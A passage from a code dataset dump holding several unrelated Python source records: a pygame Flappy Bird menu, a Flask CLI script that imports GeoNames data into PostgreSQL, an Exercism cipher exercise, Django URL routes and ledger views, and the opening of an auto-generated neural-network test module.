0\r\n    death = False\r\n    started = False\r\n    go_option = False\r\n\r\n    def display_beginning(self, WIN):\r\n        for i in range(2):\r\n            WIN.blit(self.back, (i*800, 0))\r\n        WIN.blit(self.flag, self.flag_movement)\r\n        WIN.blit(self.bird_list[self.selected_bird][self.bird_index], (750, 420))\r\n        WIN.blit(self.start, (675, 625))\r\n        WIN.blit(self.option, (825, 625))\r\n        self.handle_flag()\r\n        self.handle_bird()\r\n        self.start_button_fun()\r\n        self.option_button_fun()\r\n\r\n    def display_options(self, WIN):\r\n        for i in range(2):\r\n            WIN.blit(self.back, (i*800, 0))\r\n        WIN.blit(self.flag, self.flag_movement)\r\n        WIN.blit(self.back_button, (750, 625))\r\n        x, y = (580, 400)\r\n        for a in range(3):\r\n            if a == self.selected_bird:\r\n                WIN.blit(pygame.transform.scale(self.bird_list[a][self.bird_index], (150, 90)), (x - 25, y - 15))\r\n            else:\r\n                WIN.blit(self.bird_list[a][self.bird_index], (x, y))\r\n            x += 170\r\n        self.handle_flag()\r\n        self.handle_bird()\r\n        self.select_bird()\r\n        self.back_button_fun()\r\n\r\n    def display_death(self, WIN):\r\n        WIN.blit(self.game_over, (500, 150))\r\n        WIN.blit(self.start, (675, 625))\r\n        WIN.blit(self.option, (825, 625))\r\n        self.start_button_fun()\r\n        self.option_button_fun()\r\n\r\n    def select_bird(self):\r\n        x, y = (580, 400)\r\n        for a in range(3):\r\n            if pygame.Rect(x, y, 100, 60).collidepoint(pygame.mouse.get_pos()):\r\n                if pygame.mouse.get_pressed()[0]:\r\n                    self.selected_bird = a\r\n            x += 170\r\n\r\n    def handle_flag(self):\r\n        flag_list = range(-10, 11)\r\n        if self.flag_index != 20:\r\n            i, j = self.flag_movement\r\n            j += flag_list[self.flag_index]\r\n            self.flag_movement = (i, j)\r\n            self.flag_index += 1\r\n        else:\r\n            i, j = self.flag_movement\r\n            j += flag_list[self.flag_index]\r\n            self.flag_movement = (i, j)\r\n            self.flag_index = 0\r\n\r\n    def handle_bird(self):\r\n        if self.bird_index1 < 4:\r\n            self.bird_index = 0\r\n            self.bird_index1 += 1\r\n        elif self.bird_index1 < 8:\r\n            self.bird_index = 1\r\n            self.bird_index1 += 1\r\n        elif self.bird_index1 < 12:\r\n            self.bird_index = 2\r\n            self.bird_index1 += 1\r\n        else:\r\n            self.bird_index = 1\r\n            self.bird_index1 = 0\r\n\r\n    def start_button_fun(self):\r\n        if self.start_button.collidepoint(pygame.mouse.get_pos()):\r\n            if pygame.mouse.get_pressed()[0]:\r\n                self.started = True\r\n\r\n    def option_button_fun(self):\r\n        if self.option_button.collidepoint(pygame.mouse.get_pos()):\r\n            if pygame.mouse.get_pressed()[0]:\r\n                self.go_option = True\r\n\r\n    def back_button_fun(self):\r\n        if pygame.Rect(750, 625, 100 ,100).collidepoint(pygame.mouse.get_pos()):\r\n            if pygame.mouse.get_pressed()[0]:\r\n                self.go_option = False\r\n                self.death = False\r\n\r\n    def start_game(self, WIN):\r\n        if self.start_game_index != 20:\r\n            for i in range(2):\r\n                WIN.blit(self.back, (i * 800, 0))\r\n            WIN.blit(self.bird_list[self.selected_bird][self.bird_index], (750 - self.start_game_index*30, 420))\r\n            for j in range(7):\r\n                WIN.blit(self.down, (j*300, 900 - self.start_game_index*5))\r\n            self.start_game_index += 1\r\n        elif self.start_game_index == 20:\r\n            for i in range(2):\r\n                WIN.blit(self.back, (i * 800, 0))\r\n            WIN.blit(self.bird_list[self.selected_bird][self.bird_index], (750 - self.start_game_index*30, 420))\r\n            for j in range(7):\r\n                WIN.blit(self.down, (j*300, 900 - self.start_game_index*5))\r\n            self.start_game_index += 1\r\n        self.handle_bird()\r\n", "repo_name": "mustafaozturkmen/Python", "sub_path": "Simple Projects/flappy_bird/menu.py", "file_name": "menu.py", "file_ext": "py", "file_size_in_byte": 5365, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.transform.scale", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.transform.scale", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.transform.scale", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 71, "usage_type": "call"}, {"api_name": "pygame.mouse.get_pos", "line_number": 71, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 71, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 72, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 104, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 104, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 105, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 105, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 109, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 110, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pygame.Rect", "line_number": 114, "usage_type": "call"}, {"api_name": "pygame.mouse.get_pos", "line_number": 114, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 114, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pressed", "line_number": 115, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 115, "usage_type": "attribute"}]}
{"seq_id": "72702152859", "text": "import os\r\nimport coverage\r\nimport unittest\r\nfrom flask.cli import FlaskGroup\r\nfrom api import create_app, db\r\n\r\n\r\ndir_path = os.path.dirname(os.path.realpath(__file__))\r\ndata_path = os.path.join(dir_path, \"data\")\r\n\r\nCOV = coverage.coverage(\r\n    branch=True,\r\n    include='api/*',\r\n    omit=[\r\n        'tests/*',\r\n        'config.py',\r\n        'api/*/__init__.py'\r\n    ]\r\n)\r\nCOV.start()\r\n\r\napp = create_app()\r\ncli = FlaskGroup(create_app=create_app)\r\n\r\n\r\n@cli.command('test')\r\ndef test():\r\n    \"\"\"Runs the unit tests without test coverage.\"\"\"\r\n    tests = unittest.TestLoader().discover('tests', pattern='test*.py')\r\n    result = unittest.TextTestRunner(verbosity=2).run(tests)\r\n    if result.wasSuccessful():\r\n        return 0\r\n    return 1\r\n\r\n\r\n@cli.command('cov')\r\ndef cov():\r\n    \"\"\"Runs the unit tests with coverage.\"\"\"\r\n    tests = unittest.TestLoader().discover('tests')\r\n    result = unittest.TextTestRunner(verbosity=2).run(tests)\r\n    if result.wasSuccessful():\r\n        COV.stop()\r\n        COV.save()\r\n        print('Coverage Summary:')\r\n        COV.report()\r\n        basedir = os.path.abspath(os.path.dirname(__file__))\r\n        covdir = os.path.join(basedir, 'tmp/coverage')\r\n        COV.html_report(directory=covdir)\r\n        print('HTML version: file://%s/index.html' % covdir)\r\n        COV.erase()\r\n        return 0\r\n    return 1\r\n\r\n\r\n@cli.command('recreate_db')\r\ndef recreate():\r\n    db.drop_all()\r\n    db.create_all()\r\n    db.session.commit()\r\n\r\n\r\n@cli.command('load')\r\ndef load_data():\r\n    db.drop_all()\r\n    db.create_all()\r\n    db.session.commit()\r\n    load_admin1_codes()\r\n    load_admin2_codes()\r\n    load_geonames()\r\n\r\n\r\ndef load_admin1_codes(file=None, cnx=None):\r\n    \"\"\"\r\n    Load admin 1 codes\r\n    :param file: input file for unit testing\r\n    :param cnx: database connection for unit testing\r\n    :return: None\r\n    \"\"\"\r\n    if not file:\r\n        file = download_and_extract('admin1CodesASCII.txt')\r\n    with open(file, 'r', encoding='utf8') as f:\r\n        conn = db.create_engine(cnx if cnx else app.config['SQLALCHEMY_DATABASE_URI'], {}).raw_connection()\r\n        cursor = conn.cursor()\r\n        cmd = '''    \r\n        COPY admin1code(code, name, name_ascii, geonameid) FROM STDIN WITH delimiter E'\\t' null as ''\r\n        '''\r\n        cursor.copy_expert(cmd, f)\r\n        cursor.execute(\r\n            \"UPDATE admin1code SET country_code = SPLIT_PART(code, '.', 1);\"\r\n            \"UPDATE admin1code SET admin1 = SPLIT_PART(code, '.', 2);\"\r\n            \"\")\r\n        conn.commit()\r\n    if not cnx:\r\n        print('populated the admin codes table.')\r\n\r\n\r\ndef load_admin2_codes(file=None, cnx=None):\r\n    \"\"\"\r\n    Load admin 2 codes\r\n    :param file: input file for unit testing\r\n    :param cnx: database connection for unit testing\r\n    :return: None\r\n    \"\"\"\r\n    if not file:\r\n        file = download_and_extract('admin2Codes.txt')\r\n    with open(file, 'r', encoding='utf8') as f:\r\n        conn = db.create_engine(cnx if cnx else app.config['SQLALCHEMY_DATABASE_URI'], {}).raw_connection()\r\n        cursor = conn.cursor()\r\n        cmd = '''    \r\n        COPY admin2code(code, name, name_ascii, geonameid) FROM STDIN WITH delimiter E'\\t' null as ''\r\n        '''\r\n        cursor.copy_expert(cmd, f)\r\n        cursor.execute(\r\n            \"UPDATE admin2code SET country_code = SPLIT_PART(code, '.', 1);\"\r\n            \"UPDATE admin2code SET admin1 = SPLIT_PART(code, '.', 2);\"\r\n            \"UPDATE admin2code SET admin2 = SPLIT_PART(code, '.', 3);\"\r\n            \"\")\r\n        conn.commit()\r\n    if not cnx:\r\n        print('populated the admin 2 codes table.')\r\n\r\n\r\ndef load_geonames(file=None, cnx=None):\r\n    \"\"\"\r\n    Load geonames data\r\n    :param file: input file for unit testing\r\n    :param cnx: database connection for unit testing\r\n    :return: None\r\n    \"\"\"\r\n    if not file:\r\n        file = download_and_extract(os.getenv('GEONAMES_DATA') + \".zip\")\r\n        print(\"importing geonames data...\")\r\n    with open(file, 'rb') as f:\r\n        conn = db.create_engine(cnx if cnx else app.config['SQLALCHEMY_DATABASE_URI'], {}).raw_connection()\r\n        cursor = conn.cursor()\r\n        cmd = '''    \r\n        COPY geoname(geonameid, name, asciiname, alternatenames, latitude, longitude, feature_class, feature_code, \r\n        country_code, cc2, admin1, admin2, admin3, admin4, population, elevation, gtopo30, timezone, moddate) \r\n        FROM STDIN WITH delimiter E'\\t' null as ''\r\n        '''\r\n        cursor.copy_expert(cmd, f)\r\n        cursor.execute(\r\n            \"UPDATE geoname SET the_geom = ST_PointFromText('POINT(' || longitude || ' ' || latitude || ')', 4326);\")\r\n        conn.commit()\r\n    if not cnx:\r\n        print('populated the geonames table.')\r\n\r\n\r\ndef download_and_extract(file_name):\r\n    \"\"\"\r\n    Downloads from geoname dump and returns the local .txt file location\r\n    :param file_name: input filename to download (.txt or .zip)\r\n    :return: full pathname of downloaded/extracted file.\r\n    \"\"\"\r\n    from tqdm import tqdm\r\n    import requests\r\n    import zipfile\r\n    print('downloading {}...'.format(file_name))\r\n    url = \"http://download.geonames.org/export/dump/{}\".format(file_name)\r\n    if not os.path.exists(data_path):\r\n        os.makedirs(data_path)\r\n    dest_path = os.path.join(data_path, file_name)\r\n    r = requests.get(url, stream=True)\r\n    if r.status_code == 200:\r\n        total_size = int(r.headers.get('content-length', 0))\r\n        block_size = 1024  # 1 kb\r\n        t = tqdm(total=total_size, unit='iB', unit_scale=True)\r\n        with open(dest_path, \"wb\") as handle:\r\n            for data in tqdm(r.iter_content(block_size)):\r\n                t.update(len(data))\r\n                handle.write(data)\r\n        t.close()\r\n        if total_size != 0 and t.n != total_size:\r\n            raise Exception(\"Error downloading {}\".format(file_name))\r\n        if \".zip\" in file_name:\r\n            with zipfile.ZipFile(dest_path, 'r') as zip_ref:\r\n                zip_ref.extractall(data_path)\r\n            dest_path = os.path.join(data_path, file_name.split(\".zip\")[0] + \".txt\")\r\n        return dest_path\r\n    else:\r\n        raise Exception('Error reaching Geonames server. {} {}.'.format(r.status_code, r.reason))\r\n\r\n\r\nif __name__ == '__main__':\r\n    cli()\r\n", "repo_name": "ishiland/geonames-api", "sub_path": "backend/manage.py", "file_name": "manage.py", "file_ext": "py", "file_size_in_byte": 6219, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "coverage.coverage", "line_number": 11, "usage_type": "call"}, {"api_name": "api.create_app", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.cli.FlaskGroup", "line_number": 23, "usage_type": "call"}, {"api_name": "api.create_app", "line_number": 23, "usage_type": "name"}, {"api_name": "unittest.TestLoader", "line_number": 29, "usage_type": "call"}, {"api_name": "unittest.TextTestRunner", "line_number": 30, "usage_type": "call"}, {"api_name": "unittest.TestLoader", "line_number": 39, "usage_type": "call"}, {"api_name": "unittest.TextTestRunner", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "api.db.drop_all", "line_number": 57, "usage_type": "call"}, {"api_name": "api.db", "line_number": 57, "usage_type": "name"}, {"api_name": "api.db.create_all", "line_number": 58, "usage_type": "call"}, {"api_name": "api.db", "line_number": 58, "usage_type": "name"}, {"api_name": "api.db.session.commit", "line_number": 59, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 59, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 59, "usage_type": "name"}, {"api_name": "api.db.drop_all", "line_number": 64, "usage_type": "call"}, {"api_name": "api.db", "line_number": 64, "usage_type": "name"}, {"api_name": "api.db.create_all", "line_number": 65, "usage_type": "call"}, {"api_name": "api.db", "line_number": 65, "usage_type": "name"}, {"api_name": "api.db.session.commit", "line_number": 66, "usage_type": "call"}, {"api_name": "api.db.session", "line_number": 66, "usage_type": "attribute"}, {"api_name": "api.db", "line_number": 66, "usage_type": "name"}, {"api_name": "api.db.create_engine", "line_number": 82, "usage_type": "call"}, {"api_name": "api.db", "line_number": 82, "usage_type": "name"}, {"api_name": "api.db.create_engine", "line_number": 107, "usage_type": "call"}, {"api_name": "api.db", "line_number": 107, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 131, "usage_type": "call"}, {"api_name": "api.db.create_engine", "line_number": 134, "usage_type": "call"}, {"api_name": "api.db", "line_number": 134, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path", "line_number": 160, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 161, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 162, "usage_type": "call"}, {"api_name": "os.path", "line_number": 162, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 163, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 167, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 169, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}]}
{"seq_id": "23045153982", "text": "from string import ascii_lowercase as letters\nimport secrets\n\nclass Cipher:\n    \n\n    def __init__(self, key = None):\n        if key and (key.islower() and key.isalpha()):\n            self.key = key\n        else:\n            self.key = \"\".join((secrets.choice(letters) for _ in range(100)))\n        self.key_len = len(self.key)\n    \n    def encode_decode(self, text, direction):\n        out = []\n        for i, c in enumerate(text):\n            chr_position = letters.index(c) \n            shift_margin = letters.index(self.key[i % self.key_len])\n            out.append(letters[(chr_position + direction * shift_margin) % 26])\n        return out\n\n    # def encode_decode(self, text, direction):\n    #     return [letters[(letters.index(c) + direction * letters.index(self.key[i % self.key_len])) % 26] for i, c in enumerate(text)]\n\n    def encode(self, plaintext):        \n        return \"\".join(self.encode_decode(plaintext, 1))\n\n    def decode(self, encodedtext):  \n        return \"\".join(self.encode_decode(encodedtext, -1))\n", "repo_name": "kielbmich/Exercism", "sub_path": "simple-cipher/simple_cipher.py", "file_name": "simple_cipher.py", "file_ext": "py", "file_size_in_byte": 1028, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "secrets.choice", "line_number": 11, "usage_type": "call"}, {"api_name": "string.ascii_lowercase", "line_number": 11, "usage_type": "argument"}, {"api_name": "string.ascii_lowercase.index", "line_number": 17, "usage_type": "call"}, {"api_name": "string.ascii_lowercase", "line_number": 17, "usage_type": "name"}, {"api_name": "string.ascii_lowercase.index", "line_number": 18, "usage_type": "call"}, {"api_name": "string.ascii_lowercase", "line_number": 18, "usage_type": "name"}, {"api_name": "string.ascii_lowercase", "line_number": 19, "usage_type": "name"}]}
{"seq_id": "2301116579", "text": "from django.conf.urls import url\nfrom django.urls import path\nfrom . import views\n \napp_name = 'app01'\n \nurlpatterns = [\n    path('sudoku', views.app_sudoku, name='sudoku'),\n    path('sudoku_solve', views.app_sudoku_solve, name='sudoku_solve'),\n    path('user', views.app_user, name='user'),\n    path('icons', views.app_icons, name='icons'),\n    path('map', views.app_map, name='map'),\n    path('maps', views.app_maps, name='maps'),\n    path('notifications', views.app_notifications, name='notifications'),\n    path('rtl', views.app_rtl, name='rtl'),\n    path('tables', views.app_tables, name='tables'),\n    path('typography', views.app_typography, name='typography'),\n    path('upgrade', views.app_upgrade, name='upgrade'),\n]\n", "repo_name": "khosoi/sudoku", "sub_path": "app01/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 727, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "24133716100", "text": "import logging\nimport json\nfrom datetime import date\n\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin, PermissionRequiredMixin\nfrom django.http import HttpResponse, Http404, HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404\n\n# Create your views here.\nfrom django.urls import reverse_lazy\nfrom django.views import generic\n\nfrom cash.forms import CashOnHandForm, CashOnHandModelForm\nfrom cash.models import CashOnHand\n\nlogger = logging.getLogger(__name__)\n\n\nclass IndexView(PermissionRequiredMixin, generic.ListView):\n    permission_required = 'cash.view_cashonhand'\n    raise_exception = False\n    permission_denied_message = \"You are not allowed\"\n    # permission_required = ''\n    template_name = 'cash/index.html'\n    context_object_name = 'cash_list'\n    paginate_by = 10\n\n    def get_queryset(self):\n        return CashOnHand.objects.all()\n\n\nclass DetailView(LoginRequiredMixin, generic.DetailView):\n    permission_required = 'cash.view_cashonhand'\n    model = CashOnHand\n    context_object_name = 'cash_on_hand'\n    template_name = 'cash/detail.html'\n\n\nclass CreateView(PermissionRequiredMixin, generic.edit.CreateView):\n    permission_required = 'cash.add_cashonhand'\n    # model = CashOnHand\n    # fields = ['operation_date', 'serial_number', 'opposite_account', 'summary', 'lucre', 'remark']\n    template_name = 'cash/add.html'\n    form_class = CashOnHandModelForm\n    model = CashOnHand\n    success_url = reverse_lazy('cash:index')\n\n    def get_initial(self):\n        self.initial = {}\n        if 'operation_date' in self.request.session:\n            self.initial['operation_date'] = date.fromisoformat(self.request.session['operation_date'])\n        if 'opposite_account' in self.request.session:\n            self.initial['opposite_account'] = self.request.session['opposite_account']\n        return self.initial\n\n    def form_valid(self, form):\n        form.instance.user = self.request.user\n        self.request.session['operation_date'] = form.instance.operation_date.isoformat()\n        self.request.session['opposite_account'] = form.instance.opposite_account.id\n        return super().form_valid(form)\n\n\nclass UpdateView(generic.edit.UpdateView):\n    permission_required = 'cash.change_cashonhand'\n    model = CashOnHand\n    fields = ['operation_date', 'serial_number', 'opposite_account', 'summary', 'lucre', 'remark']\n    template_name_suffix = '_update_form'\n    # template_name = 'cash/edit.html'\n    success_url = reverse_lazy('cash:index')\n\n    def form_valid(self, form):\n        form.instance.user = self.request.user\n        self.request.session['operation_date'] = form.instance.operation_date.isoformat()\n        self.request.session['opposite_account'] = form.instance.opposite_account.id\n        return super().form_valid(form)\n\n\nclass DeleteView(generic.edit.DeleteView):\n    permission_required = 'cash.delete_cashonhand'\n    model = CashOnHand\n    success_url = reverse_lazy('cash:index')\n\n\n@login_required\n@permission_required('cash.add_cashonhand', raise_exception=True)\ndef login_view(request):\n    return render(request, 'cash/child1.html')\n\n\ndef logout_view(request):\n    logout(request)\n    # Redirect to a success page.\n", "repo_name": "zwj12/accounting", "sub_path": "cash/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3334, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.PermissionRequiredMixin", "line_number": 21, "usage_type": "name"}, {"api_name": "django.views.generic.ListView", "line_number": 21, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 21, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.permission_required", "line_number": 22, "usage_type": "name"}, {"api_name": "cash.models.CashOnHand.objects.all", "line_number": 31, "usage_type": "call"}, {"api_name": "cash.models.CashOnHand.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cash.models.CashOnHand", "line_number": 31, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 34, "usage_type": "name"}, {"api_name": "django.views.generic.DetailView", "line_number": 34, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 34, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.permission_required", "line_number": 35, "usage_type": "name"}, {"api_name": "cash.models.CashOnHand", "line_number": 36, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.PermissionRequiredMixin", "line_number": 41, "usage_type": "name"}, {"api_name": "django.views.generic.edit", "line_number": 41, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 41, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.permission_required", "line_number": 42, "usage_type": "name"}, {"api_name": "cash.forms.CashOnHandModelForm", "line_number": 46, "usage_type": "name"}, {"api_name": "cash.models.CashOnHand", "line_number": 47, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.date.fromisoformat", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 53, "usage_type": "name"}, {"api_name": "django.views.generic.edit", "line_number": 65, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 65, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.permission_required", "line_number": 66, "usage_type": "name"}, {"api_name": "cash.models.CashOnHand", "line_number": 67, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 71, "usage_type": "call"}, {"api_name": "django.views.generic.edit", "line_number": 80, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 80, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.permission_required", "line_number": 81, "usage_type": "name"}, {"api_name": "cash.models.CashOnHand", "line_number": 82, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 83, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 89, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 86, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.permission_required", "line_number": 87, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 93, "usage_type": "call"}]}
{"seq_id": "30192357462", "text": "import sys\n_module = sys.modules[__name__]\ndel sys\ninfer_pair = _module\nlib = _module\ndata = _module\nloss = _module\nnetwork = _module\noperation = _module\ntrainer = _module\nutil = _module\ngeneral = _module\nglobal_norm = _module\nmotion = _module\nvisualization = _module\nrender_interpolate = _module\nscripts = _module\ncompute_mse = _module\npreprocess = _module\nrotate_test_set = _module\ntest = _module\ntrain = _module\n\nfrom _paritybench_helpers import _mock_config, patch_functional\nfrom unittest.mock import mock_open, MagicMock\nfrom torch.autograd import Function\nfrom torch.nn import Module\nimport abc, collections, copy, enum, functools, inspect, itertools, logging, math, matplotlib, numbers, numpy, pandas, queue, random, re, scipy, sklearn, string, tensorflow, time, torch, torchaudio, torchtext, torchvision, types, typing, uuid, warnings\nimport numpy as np\nfrom torch import Tensor\npatch_functional()\nopen = mock_open()\nyaml = logging = sys = argparse = MagicMock()\nArgumentParser = argparse.ArgumentParser\n_global_config = args = argv = cfg = config = params = _mock_config()\nargparse.ArgumentParser.return_value.parse_args.return_value = _global_config\nyaml.load.return_value = _global_config\nsys.argv = _global_config\n__version__ = '1.0.0'\nxrange = range\nwraps = functools.wraps\n\n\nimport numpy as np\n\n\nimport torch\n\n\nimport torch.backends.cudnn as cudnn\n\n\nfrom scipy.ndimage import gaussian_filter1d\n\n\nimport random\n\n\nfrom torch.utils.data import Dataset\n\n\nfrom torch.utils.data import DataLoader\n\n\nimport torch.nn.functional as F\n\n\nimport torch.nn as nn\n\n\nfrom math import pi\n\n\nimport logging\n\n\nfrom torch.autograd import Variable\n\n\nfrom torch.optim import lr_scheduler\n\n\nimport math\n\n\nimport torchvision.utils as vutils\n\n\nimport torch.nn.init as init\n\n\nimport time\n\n\nfrom itertools import combinations\n\n\nclass ConvEncoder(nn.Module):\n\n    @classmethod\n    def build_from_config(cls, config):\n        conv_pool = None if config.conv_pool is None else getattr(nn, config.conv_pool)\n        encoder = cls(config.channels, config.padding, config.kernel_size, config.conv_stride, conv_pool)\n        return encoder\n\n    def __init__(self, channels, padding=3, kernel_size=8, conv_stride=2, conv_pool=None):\n        super(ConvEncoder, self).__init__()\n        self.in_channels = channels[0]\n        model = []\n        acti = nn.LeakyReLU(0.2)\n        nr_layer = len(channels) - 1\n        for i in range(nr_layer):\n            if conv_pool is None:\n                model.append(nn.ReflectionPad1d(padding))\n                model.append(nn.Conv1d(channels[i], channels[i + 1], kernel_size=kernel_size, stride=conv_stride))\n                